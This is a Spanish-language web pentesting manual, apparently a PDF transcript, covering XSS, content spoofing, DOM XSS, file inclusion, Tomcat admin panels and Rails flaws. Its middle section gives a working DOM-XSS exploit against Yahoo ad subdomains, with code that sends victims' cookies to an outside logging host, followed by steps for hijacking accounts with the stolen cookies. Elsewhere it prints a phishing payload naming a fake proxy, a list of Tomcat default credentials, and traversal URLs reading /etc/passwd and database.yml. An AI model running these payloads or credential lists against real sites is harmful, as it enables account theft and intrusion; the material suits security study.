T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan...

78
T écnicas W eb P entesting idioma: español Autor: Kelvin Parra Team: KelvinSecurity Fecha De Creación: 15-01-2017

Transcript of T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan...

Page 1: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Técnicas Web Pentesting

idioma: español

Autor: Kelvin Parra Team: KelvinSecurity

Fecha De Creación: 15-01-2017

Page 2: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Contenido:

-- nivel 1 -- ¿Que Es Pentesting? Básica Estructura Web Formularios, Penales Administrativos Y Acciones En Formularios Básicas Herramientas En Navegadores Básicas Herramientas Online Para Identificar Problemas -- nivel 2 -- identificando errores en paginas java identificando errores en paginas php identificando errores en paginas ruby - Rails identificando errores en paginas django identificando errores en paginas asp identificando errores mysql identificando errores sqlserver error identificando errores sql injection identificando errores sql error -- nivel 3 -- Code Injection Command Injection Cross domain policy audit format string inject header inject http trace integer overflow inject local file include remote file include shell injection sql arithmetic injection sql text injection sql timing injection url injection xpath injection xss injection

Page 3: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Que es web pentesting: El web pentesting es muy bien pagado por empresas y

personas que adquieren un servicio entre ello se realiza una auditoría luego se realiza un informe detallado con las principales bases dentro de un reporte de seguridad donde debe llevar “Gráficos” “Mitigación Del Problema” “Dar Consejos Para Evitar El Fallo De Seguridad” “Resumir Y Describir Las Vulnerabilidades” “describir que tan grave es el problema”. mediante este manual aprenderemos mucho sobre la básica estructura de plataforma web entre ella las funciones básicas como “Consultar” “Inicio De Sesión” “Búsquedas” “Formularios” “Registros” entre otras funcione donde iremos a consultar para tener claro por dónde empezar a buscar.

- Vulnerabilidades más conocidas en un portal web

Durante el web pentesting estas son las vulnerabilidades que según la gráfica nos dice que son las que más se presentarán durante la auditoría web una que otras veces otras vulnerabilidades pequeñas que no requieren explotación pueden ser directorios no expuestos pero mediante un método automatizado podrían dejar claro donde se encuentren estas bases de datos .sql en el anterior manual de bug bounty program de kelvinsecurity se dio a conocer como ganar dinero realizando estas investigaciones y auditoría para ganar dinero trabajando realizando el trabajo de white hat ahora vamos a automatizar algunas prácticas y auditar de forma mucho mas rapida.

Page 4: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Básica estructura web:

Existen muchos tipos de diseños que se realizan algunos que solo son informativos

pero extrañamente no tienen buscadores una de las principales búsqueda de una vulnerabilidad es por medio del buscador a sido tan efectivo que ha sido tomado en cuenta por la comunidad de hacking a nivel mundial durante una auditoría es corremendable por vulnerabilidades como es XSS durante el comienzo a diseñar una plataforma web es integrado el HTML bajo funciones PHP y JavaScript.

Existen paginas informativas que no ocupan una base de datos es decir que están por la unica razon de informar con contenido en html para lograr vulnerar una página que solamente cuente con contenido informativo existen una amplia búsqueda si este suele tener CPANEL, PHPMYADMIN o de otra forma si este cuenta con una versión apache vulnerable sobre algún Exploit.

Productos Para Gestión Y Desarrollo De Bases De Datos:

phpMyAdmin: es una herramienta escrita en PHP con la intención de manejar la administración de MySQL a través de páginas web. CPanel: es un panel de control para administrar servidores de alojamiento web que proveen herramientas. MySQL: es un sistema de gestión de base de datos.

Page 5: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Tecnologías De Desarrollo Y Creación De Bases De Datos

Mejor Saber Que Descuidado: Estos gestionadores de desarrollo pueden ser vulnerable en cuanto MySQL se han pronunciado 0days por parte de investigadores de seguridad como escalación de privilegios los cuales ha tenido un buen lugar en la lista de búsqueda de exploits y su mejor manera de buscarla es mediante las versiones las maneras hoy en dia de explotar se facilita mediante el uso de las herramientas automatizadas bajo lenguajes de programación como python,perl,ruby entre otros lenguajes. PhPMyAdmin ha sido explotado de igual manera por medio de sus versiones una de ellas como Code Injection lo cual veremos en este manual PhPMyAdmin también se le fue implementada ataques de fuerza bruta de igual manera CPanel ha sido afectada de igual manera para identificar un servidor con PhPMyAdmin O CPanel tomar en cuenta los siguientes ejemplos.

PhPMyAdmin: www.mivictima.com/phpmyadmin

CPanel: www.victima.com:2082

Ver Exploits Para PhPMyAdmin

Page 6: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Formularios, Penales Administrativos Y Acciones En Formularios:

EL objetivo de un formulario de registro o para recibir suscripción estos se suelen almacenar en la base de datos SQL pero hay otros llamados newsletter estos en cambio sólo han requerido el registro de “Nombre,Apellido,Correo,Telefono” pero donde no involucra mucho una contraseña.

Formulario De Registro A Base De Datos

Formulario Para Suscripción NEWSLETTER

En Sharepoint no se suele inyectar muy bien el html pero si se ha notado el XSS Stored en algunos reportes de seguridad sobre un parámetro vulnerable a el. en este caso funciona muy bien el Command Injection O HTML Inyección trata Introducir JavaScript o HTML dentro de un Formulario de registro en este caso o Suscripción. A continuación un ejemplo encontrado en un Bug BOunty Program.

Page 7: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Command Injection & Injection HTML:

Descripción Command Injection: La inyección de comandos es un ataque en el que el objetivo es la ejecución de comandos arbitrarios en el sistema operativo del host a través de una aplicación vulnerable. Los ataques de inyección de comandos son posibles cuando una aplicación pasa datos suministrados por el usuario no seguros (formularios, cookies, encabezados HTTP, etc.) a un shell del sistema.

Descripción Injection HTML: La inyección HTML es un tipo de problema de inyección que se produce cuando un usuario es capaz de controlar un punto de entrada y es capaz de inyectar código HTML arbitrario en una página web vulnerable. Esta vulnerabilidad puede tener muchas consecuencias, como la divulgación de las cookies de sesión de un usuario que podría usarse para suplantar a la víctima o, de manera más general, puede permitir al atacante modificar el contenido de la página visto por las víctimas ubicaciones de estos formularios:

www.ejemplo.com/register.php

www.ejemplo.com/newsletter.php

Page 8: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Script ingresado para identificar vulnerabilidad:

Podemos involucrar HTML y JavaScript para detectar la vulnerabilidad podríamos concluir que es Command Injection O HTML Injection en otros métodos se podría aprovechar esta vulnerabilidad para redirigir a otros usuarios a páginas externas con malware o phishing.

<img%20src='aaa'%20onerror=alert(1)>

<b onmouseover=alert('HackedBySecTeam')>Alerta!</b>

<script>alert("TEST");</script>

- ejemplo

Herramientas como BruteXSS cuentan con un Wordlist para realizar intentos con

script javascript con la esperanza de encontrar un XSS Stored, Cross Site Scripting u otro.

Wordlist: Es un diccionario utilizado en fuerza como claves débiles en texto

plano que simpatiza con una herramienta automatizada para dar funcionamiento al realizar intentos en BruteXSS existe un Wordlist como puedes observar.

Page 9: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

BruteXSS:

Me he bajado el script del repositorio de github BRUTE XSS es la manera

automatizada de hacer el trabajo también puedes hacerlo con hackbar de otra manera para los principiantes y amantes de la manera automatizada puede usar BRUTE XSS. de manera GET o POST podemos realizarlo pero para ello comienza el test de manera automatizada en hackbar {Enable Post Data} y con BRUTEXSS existe la manera automatizada de seleccionar por ejemplo {GET} {POST}

Page 10: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Test XSS:

- Test XSS Resultados De BruteXSS

- Wordlist XSS

Page 11: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

XSTE: Para aquellos que no están familiarizados con Content Spoofing, es una

falla similar a Cross-Site Scripting (XSS) donde una carga útil se coloca en una entrada controlada por el usuario que es reflejada de nuevo al usuario por la aplicación, sino que inyecta cargas útiles de script. El atacante inyecta una carga útil que desfigura la página. En muchos casos, las fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección de scripts. Los ataques de spoofing de contenido suelen usarse conjuntamente con la ingeniería social porque se dirigen a la confianza de un usuario del dominio asociado con la aplicación vulnerable.. Digamos que te encuentras con una página web que se parece a algo así.

/ TEST

Cuando veo algo como esto, inmediatamente pienso XSS. La página ha reflejado

claramente algo que controlamos de nuevo a nosotros.

Si intentamos aprovechar este comportamiento reflexivo para realizar un ataque

XSS, veremos que el desarrollador ha mitigado XSS en este parámetro. Payload:

Page 12: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

https://172.21.9.71:8000/<script>alert(42)</script>

Resultados:

En este caso, la codificación de salida HTML se utilizó para mitigar XSS. Esta es una manera esencialmente a prueba de errores para evitar XSS y donde la mayoría de los probadores se mueven junto con la prueba. Pero todavía hay peligro aquí. Es posible que no podamos inyectar una carga XSS, pero ¿qué nos impide utilizar el conjunto de caracteres disponibles para crear una carga útil que admita un ataque de ingeniería social. PAYLOAD:

https://172.21.9.71:8000/en-US/secure_login'' was not found \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Security Alert!!! This Splunk Server Is Currently Under Attack. The Server's Secret Key May Be Compromised. Please Authenticate Through The Backup Proxy @172.22.22.199:8000 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ The path ''/en-US/secure_login

- resultado

Page 13: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

- Hemos tomado una vulnerabilidad XSS aparentemente mitigada y hemos falsificado contenido significativo para explotarlo más, usando esta página en un intento de explotar la confianza de una víctima en el dominio asociado. Con suerte, se autentican en nuestro proxy malicioso y nos proporcionarán sus credenciales de dominio.

Xss basado en DOM:

Como su nombre indica, el ataque basado en DOM manipula directamente el navegador a través del DOM. Los ataques basados en DOM son diferentes en que la respuesta del servidor no se manipula, pero las secuencias de comandos del lado del cliente se manipulan para modificar cómo se ejecuta.

Ejemplo DOM XSS:

En muy corto plazo DOM-Based o Type-0 XSS son resultado de modificar el DOM del navegador en el código del sitio del cliente. Es peligroso porque enviamos cargas desde el cliente y esto significa que podemos pasar por alto la mayoría del lado del servidor Protecciones. El DOM basado XSS fue introducido por primera vez por Amit Klein en julio de 2005.2 Y después de estos años debido A la complejidad de encontrar y explotar todavía un montón de sitios web son vulnerables a ella. Vamos a tener ejemplo muy básico pensar en el siguiente código:

<script> function hashbased() { var l = location.hash.slice(1); eval(l); // execute injected code } hashbased();

Page 14: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Así que el guión está buscando una porción de hash y luego evalarla (¿eh?), Así que inyecto el carácter '#' y Entonces código JS, y debe ejecutarse fácilmente. Aquí hay una captura de pantalla de mi hackmyweb (no publicado) en este Tipo de vulnerabilidad.

Así que inyectando #alert (0) aparecerá una alerta .si quieres saber más búsqueda y puedes encontrar un montón de Artículos interesantes sobre este tema.

Page 15: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Paso I: pasos para encontrar vulnerabilidad Para encontrar las vulnerabilidades

que necesita un objetivo y la selección de destino es clave muy importante en el éxito Descubrimiento de vulnerabilidades. Así que sólo empezar a googlear para encontrar algunos subdominios.

Y luego pasé algunas veces en bibliotecas JS cargadas.

-JS Archivos

Entonces, ¿qué tipo de script debemos buscar? Cualquier script infame es un gran objetivo para pasar tiempo en él. Asi que Después de un tiempo acabo de encontrar un subdominio llamado tw.adspecs.yahoo.com que utiliza un JS lib llamado Adspec_v1_5.js.

Page 16: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Así que cuando abra este archivo encontrará un archivo JS muy grande y si pasa unos segundos Comprender este archivo contienen una gran cantidad de otros archivos JS. Aquí hay algunos ejemplos:

yahoo-dom-event.js connection-min.js json-min.js element-beta-min.js datasource-beta-min.js datatable-beta-min.js utilities.js yahoo-min.js event-min.js sessvars.js menu.js

Vi que la mayoría de ellos están comprimidos Yahoo! Copyright, excepto uno de ellos llamado sessvars.js que no es Comprimido ni tiene en yahoo Copyright. Así que de nuevo me googled para el sitio de autor, para examinar el script. Así que, según el autor, la biblioteca es en realidad implementación de la variable de sesión en JS:

Un pequeño script que le permite usar variables de sesión de JavaScript sin usar cookies. Le permitirá almacenar 2 MB de datos, con mucho menos problemas que una solución basada en cookies.

Y me di cuenta de otra cosa muy agradable en la parte superior del índice:

1 Sanitizer añadido para evitar eval () de código malicioso. 2 La bandera sessvars. $. Prefs.includeFunctions ahora tiene por defecto false. Desinfectante en un problema 'eval'? A primera vista, estaba pensando que yahoo seguro que

Page 17: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Yahoo_sessvars.js

toObject:function(x){ eval("this.myObj="+x); if(!this.restoreCirculars || !alert){return this.myObj}; this.restoreCode=[]; this.make(this.myObj,true); var r=this.restoreCode.join(";")+";"; eval('r=r.replace(/\\W([0-9]{1,})(\\W)/g,"[$1]$2").replace(/\\.\\;/g,";")'); eval(r); return this.myObj },

sessvars.js

toObject:function(x) { if(!this.cleaner) { try{this.cleaner=new RegExp('^("(\\\\.|[^"\\\\\\n\\r])*?"|[,:{}\\[\\]0-9.\\-+Eaeflnr-u \\n\\r\\t])+?$')} catch(a){this.cleaner=/^(true|false|null|\[.*\]|\{.*\}|".*"|\d+|\d+\.\d+)$/} }; if(!this.cleaner.test(x)){return {}}; eval("this.myObj="+x); if(!this.restoreCirculars || !alert){return this.myObj}; if(this.includeFunctions){ var x=this.myObj; for(var i in x){if(typeof x[i]=="string" && !x[i].indexOf("JSONincludedFunc:")){ x[i]=x[i].substring(17); eval("x[i]="+x[i]) }} }

En el código yahoo no hay sanitización antes de eval en exactamente esta parte del código:

if(!this.cleaner) { try{this.cleaner=new RegExp('^("(\\\\.|[^"\\\\\\n\\r])*?"|[,:{}\\[\\]0-9.\\-+Eaeflnr-u \\n\\r\\t])+?$')} catch(a){this.cleaner=/^(true|false|null|\[.*\]|\{.*\}|".*"|\d+|\d+\.\d+)$/} }; if(!this.cleaner.test(x)){return {}}; eval("this.myObj="+x); // vulnerable eval

Page 18: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Ahora si yahoo código tiene la falta de rutina de sanitización ¿cómo puedo activar la vulnerabilidad? Y más Importante cómo puedo explotar el error? Voy a responder a estas preguntas en unos pocos.

Parte 2 Activar y analizar la vulnerabilidad:

Así pues, como sabemos que la biblioteca de yahoo es vulnerable, necesitamos

investigarla un poco más para encontrar una forma de Activar la vulnerabilidad. Así que vamos a mirar en la función vulnerable esta vez con más cuidado.

toObject:function(x){ eval("this.myObj="+x); if(!this.restoreCirculars || !alert){return this.myObj}; this.restoreCode=[]; this.make(this.myObj,true); var r=this.restoreCode.join(";")+";"; eval('r=r.replace(/\\W([0-9]{1,})(\\W)/g,"[$1]$2").replace(/\\.\\;/g,";")'); eval(r); return this.myObj }

Por lo tanto, la vulnerabilidad es muy transparente. ToObject toma x y eval, pero espera un momento! necesitamos Para encontrar una forma de activarlo desde la entrada del usuario, por lo que tenemos que comprobar dónde se llama toObject. Sólo por Buscando, encontré otra función llamada init donde toObject llamado en:

init:function(){ var o={}, t=this; try {o=this.$$.toObject(top.name)} catch(e){o={}}; // vulnerable call this.prefs=o.$||t.prefs; if(this.prefs.crossDomain || this.prefs.currentDomain==this.getDomain()){ for(var i in o){this.parent[i]=o[i]}; } else { this.prefs.currentDomain=this.getDomain(); }; this.parent.$=t; t.flush(); var f=function(){if(t.prefs.autoFlush){t.flush()}}; if(window["addEventListener"]){addEventListener("unload",f,false)} else if(window["attachEvent"]){window.attachEvent("onunload",f)} else {this.prefs.autoFlush=false}; } };

Page 19: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Nuevamente intenta llamar 'toObject' para 'top.name' que es controlable por nosotros. Al igual que una nota y $ No significa nada para JS intérprete. Así que ahora tengo una manera fácil de explotar la vulnerabilidad y para el primer PoC I código del siguiente código.

<script> window.open("http://tw.adspecs.yahoo.com/tc/index.php","alert('PWNED!!!'+document.domain);", "", false); </script>

Así que después de que corrió mi primer PoC y después de aceptar feo ventana emergente me dieron un mensaje jugoso.

- Ejemplo

Pero esto no es encantador en absoluto y necesito un mejor método de explotación, en realidad un silencio. Así que encontré algunos Métodos con clic y un método sin hacer clic. Quisiera decir gracias a Mario Heiderich por Dándome ideas / vectores. Aquí está uno de los mejores vectores:

<a href="http://tw.adspecs.yahoo.com/tc/index.php" target="alert(document.domain)">Click Here</a>

Page 20: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Así que mediante el uso de destino podemos cambiar la propiedad de nombre y de nuevo podemos obtener la ejecución JS. Así que primero estaba pensando en usar iframe con valor de nombre y falló debido a Cross-Frame-Scripting Protección en los navegadores modernos.

¿Hay alguna otra manera? Estaba pensando en cambiar el valor de nombre y luego hacer una redirección y funciona.

<script> name='alert(document.domain)'; location.href='http://tw.adspecs.yahoo.com/tc/index.php'; </script>

¡Y Boom !!! Trabajo PoC sin ningún clic o pop-up que poner ~ 400 millones de usuarios simplemente en riesgo y como Fuente de la ventana no es el carácter restringido podemos escribir cualquier código stealer javascript que queremos. Bueno, pero no me detuve aquí, me preguntaba si hay algún otro subdominio vulnerable o no? Así que pasé Algunas veces en la búsqueda de este JS en otros subdominios yahoo y encontró una nota fría. Todos los anuncios Subdominios son vulnerables a este tipo de ataque debido al uso de esta biblioteca.

Page 21: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Así que he comprobado el sitio web principal www.adspecs.yahoo.com/index.php y no encontré vulnerables JS y yo Pensé que el sitio web principal no lo usa pero después de un poco de búsqueda encontré sessvars.js esta vez no incluido En adspec_v1_5.js así que otra vez pensé que por lo menos éste no es vulnerable pero me equivoqué! Este era Vulnerables y desencadenaron la vulnerabilidad con PoC de muestra. Así que podemos secuestrar cuentas de usuario con esto ¿vulnerabilidad? Por supuesto que podemos.

SSecuestro de cuentas de usuario:

Por lo que puede recordar que hablé sobre la fuente de nombre es grande debido a que no hay ninguna restricción sobre la disponibilidad ¿caracteres? Simplemente puede utilizar DOMXSSWIKI para saber todo acerca de cada fuente. Así que busqué Para el origen window.name en it.3 Y aquí está la información de él.

La fuente del nombre de la ventana: Los caracteres en el valor window.name son invariantes a la forma en que se les ha dado. Lo que significa que si un Conjuntos de aplicaciones JavaScript: Window.name = 'a \ x01b' No se aplica codificación. El atributo window.name siempre es un molde a la representación de cadena del objeto al que está asignado. los El atributo window.name es un valor persistente durante la existencia de la página a la que está asignado .An Atacante puede establecer nuevos nombres de ventanas y marcos sin restricción, y se mantendrán durante Navegación en cualquier dominio

Así que podemos inyectar fácilmente a nuestro ladrón para ello, así que escribí el exploit final de la siguiente manera:

<html> <script> window.name=' new Image().src="http://abysssec.com/log/log.php?cookie="+encodeURI(document.cookie); setTimeout(\"location.href = \'http:\/\/www.yahoo.com\';\",10);'; location.href="http://adspecs.yahoo.com/index.php"; </script> </html>

Page 22: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Así que mi PC primero robó las cookies y luego usar setTimeout para terminar de robar y luego redirigir a la víctima a Yahoo.com. Y aquí está Mario PoC

<a id="x" href='http://adspecs.yahoo.com/adspecs.php' target="close(/*grabcookie(1)*/)">CLICK</a> <script> onblur=function() { alert('look here!') } x.click(); </script>

Este se puede utilizar en iframe debido a SOP impedir el acceso a top.name en iframe por lo que no hay forma fácil de encuadrar directamente el PoC. ¿Así que robamos las galletas cómo las podemos usar? Es fácil y bien documentado y se puede leer sobre él En el slick artículo. Todo lo que necesitamos es T y Y parte de las cookies robadas, por lo que puede acceder fácilmente con su propio correo Utilice cualquier editor de cookies que desee cambiar su Y y T y actualizar el correo.

Page 23: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Identificando errores de páginas: los dorks ayudaron durante mucho tiempo a

buscar errores expuestos en servidores bajo programación PHP, ASP.NET, JAVA por ello para un pentester memorizar un error e identificar el servidor observando imágenes y realizando básicos test en páginas es necesario memorizar lo siguiente:

Information Disclosure Version Apache Tomcat:

Definición: Apache Tomcat también llamado Jakarta Tomcat o simplemente Tomcat funciona como un contenedor de servlets desarrollado bajo el proyecto Jakarta en la Apache Software Foundation. Tomcat implementa las especificaciones de los servlets y de JavaServer Pages JSP de Oracle Corporation aunque creado por Sun Microsystems. Según Wikipedia: (Estructura De Directorios):

bin - arranque, cierre, y otros scripts y ejecutables. common - clases comunes que pueden utilizar Catalina y las aplicaciones web. conf - ficheros XML y los correspondientes DTD para la configuración de Tomcat. logs - logs de Catalina y de las aplicaciones. server - clases utilizadas solamente por Catalina. shared - clases compartidas por todas las aplicaciones web. webapps - directorio que contiene las aplicaciones web. work - almacenamiento temporal de ficheros y directorios.

Interfaces comunes de administración:

status/ admin/ web-console/ jmx-console/ admin-console/ manager/html web-console/Invoker jmx-console/HtmlAdaptor invoker/JMXInvokerServlet

Page 24: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Lista de contraseñas predeterminadas comunes para las interfaces de administración de Tomcat:

admin: admin:Password1 admin:admin admin:j5Brn9 admin:password admin:password1 admin:tomcat both:tomcat role1:role1 role1:tomcat role:changethis root:Password1 root:changethis root:password root:password1 root:r00t root:root root:toor tomcat: tomcat:Password1 tomcat:admin tomcat:changethis tomcat:password tomcat:password1 tomcat:tomcat

Para un usuario común no entendería lo que se intenta hacer en este caso y es que existen ciertos paneles de administración de tomcat lo cual hemos dicho jmx-console por ejemplo el cual las contraseñas predeterminadas por defecto sería alguna de la lista que se encuentra arriba lo cual el pirata podría entrar con una de esas contraseñas perjudicando al que la administra y no ha tomado medidas de seguridad para proteger su seguridad.

Page 25: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Identificando errores de páginas PHP: Mientras que los scripts PHP no son

intrínsecamente malos, el usuario podría, ya sea inadvertidamente, escribir un script que permite la Vulnerabilidad o crear maliciosamente un script para aprovechar ciertas funciones de PHP. Un administrador web Puede que no tenga que preocuparse por tales scripts para el sitio web principal que él ella maneja, pero otros usuarios en el Sistema que crear y publicar contenido web podría crear mal scripts PHP. El administrador del servidor web debe estar consciente de estos problemas con PHP, por lo que ninguna de las páginas del sistema tiene vulnerabilidades.

Existen dos tipos principales de vulnerabilidades de PHP, locales y remotas. Las vulnerabilidades locales están diseñadas Que el ataque se está realizando en el sistema en el que reside el script PHP. Una vulnerabilidad remota ejecuta un Script de PHP en un servidor web, que a su vez sale a buscar otro script PHP y luego se ejecuta en el Servidor web. En este caso, un atacante podría colocar un script PHP en algún otro servidor que causaría Vulnerabilidad a un servidor web que lo ejecutó. Entonces el atacante puede esencialmente decirle al servidor web que están Tratando de explotar para agarrar ese archivo PHP y ejecutarlo, haciendo que el servidor web sea vulnerable. Local específico Y las vulnerabilidades remotas se pueden encontrar en las siguientes secciones.

Page 26: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Vulnerabilidades PHP locales:

Realmente hay un comando principal conocido vulnerable en PHP. Este comando es el comando $ _GET [] , Que permite al usuario especificar valores arbitrarios como variables a través de la URL . Por ejemplo, si un documento HTML tenía el siguiente código mostrado como a continuación:

- Remote File Inclusion (Wiki)

se consideraría un Riesgo de seguridad. El comando $ _GET tomará cualquier variable en la URL llamada "página" y la colocará en la variable $ página. Entonces $ Se utiliza con el comando include. El comando include intentará analizar lo que esté en el Variable $ page como un script PHP. Si el archivo no contiene scripts PHP, básicamente mostrará el contenido Del archivo. Un atacante puede especificar lo que quiera en la URL y se mostrará en la página web. Si un atacante especifica una URL como: http://www.myserver.com/index.php?page=/etc/passwd e index.php Contiene el código anterior, el atacante verá el contenido de "/ etc / passwd" en la pantalla.

Page 27: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Con el fin de seguir usando $ _GET sin ser vulnerable, el scripter PHP debe desinfectar la entrada del comando. Sólo se pueden usar entradas específicas con la sentencia y si se especifica algo más, el comando no se ejecutado. Un ejemplo de código que sanitizes las entradas para la declaración de PHP mostrada arriba se muestra en la figura

- Correctamente desinfectar variables dentro de PHP

Este código sólo home.php o about.php se puede especificar. Cualquier otra entrada será ignorada excepto si no hay nada Poner en entonces el valor por defecto de home.php se utiliza para que el script ya no es vulnerable.

Remote File Inclusion:

Otra forma en que un script PHP puede introducir vulnerabilidad es a través del uso de comandos que obtienen PHP Scripts de otros sitios para su ejecución local. En este escenario, un atacante puede configurar su propio sitio web que Hosts un script PHP que contiene un comando vulnerable. El atacante puede indicar al sitio web que desea Ataque para obtener el script PHP vulnerable desde el sitio web que configurar y ejecutar. Un ejemplo de esto Tipo de ataque se muestra a continuación:

Page 28: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

- Ejemplo FILE Inclusion

La primera instrucción PHP enumerada está en el servidor que el atacante quiere explotar. La variable libdir es Definido en el servidor. Un atacante podría modificar la variable libdir para poner en cualquier sitio web que quisieran visitar. En este caso, si libdir se estableció en http://kelvinsecurity.com y languages.php existió en ese servidor, El servidor iría a http://kelvinsecurity.com e intentaría ejecutar languages.php en su propio servidor. Dentro de languages.php es la segunda declaración PHP mostrada arriba. El comando passthru se ejecuta localmente. Lo que está contenido en el comando como un script de shell. En este caso, el atacante vería el resultado de la Comando de shell "/ bin / ls / etc". Hay varias formas diferentes de evitar esta amenaza. Una manera de aliviar esta amenaza es Deshabilite el comando passthru. Otra forma de detener la amenaza es desinfectar la entrada a la variable en una Similar a la que se hizo para la vulnerabilidad local.

Buscar vulnerabilidades de forma automatizada: La detección de

vulnerabilidades en scripts PHP y configuraciones de daemon de PHP es algo difícil y Tareas engorrosas. Para los scripts PHP, un cierto nivel de conocimiento en scripts PHP es necesario para detectar Vulnerabilidades. Ciertos comandos pueden utilizarse con seguridad en algunos contextos, pero también pueden usarse de forma malintencionada o Sólo por error por los principiantes PHP scripters. En los grandes servidores web con cientos de páginas, el tiempo de búsqueda A través de todas las páginas podría ser extensa.

Page 29: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Por lo general las aplicaciones en ruby (On Rails) está compuesta por defecto por medio del puerto 3000 entonces ya puedes darte cuenta de que podría tratase de una aplicación en ruby. Vulnerabilidades En Aplicaciones Ruby:

directory traversal vulnerability

Denial of Service Vulnerability

XSS Vulnerability

CSRF Vulnerability

Bypass Methods

Arbitrary file Existence Disclosure

- Listado De Exploits

Page 30: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Vulnerabilidades en Rails:

CSRF: Actualizado recientemente para incluir AJAX REST hace las cosas más difíciles Almacenado en la cookie Ataques: La gente no piensa que lo necesitan Una vulnerabilidad XSS hace que esta protección sea fácil Mismo problema de subdominio PoC: Directory Traversal O Local File Inclusion: http://www.myvictima.com/file_download/file=../config/database.yml HTTP Response Splitting: Inyección /r/n en campos que dividen los encabezados de respuesta XSS como afecto

Page 31: T écnicas W eb P entestingb4chek.com/WebPentesting.pdf · fallas de Spoofing de contenido resultan de defectos XSS que han sido mitigados por la prevención exclusiva de la inyección

Identificando errores en páginas django

- Framework django (Sitio Web)

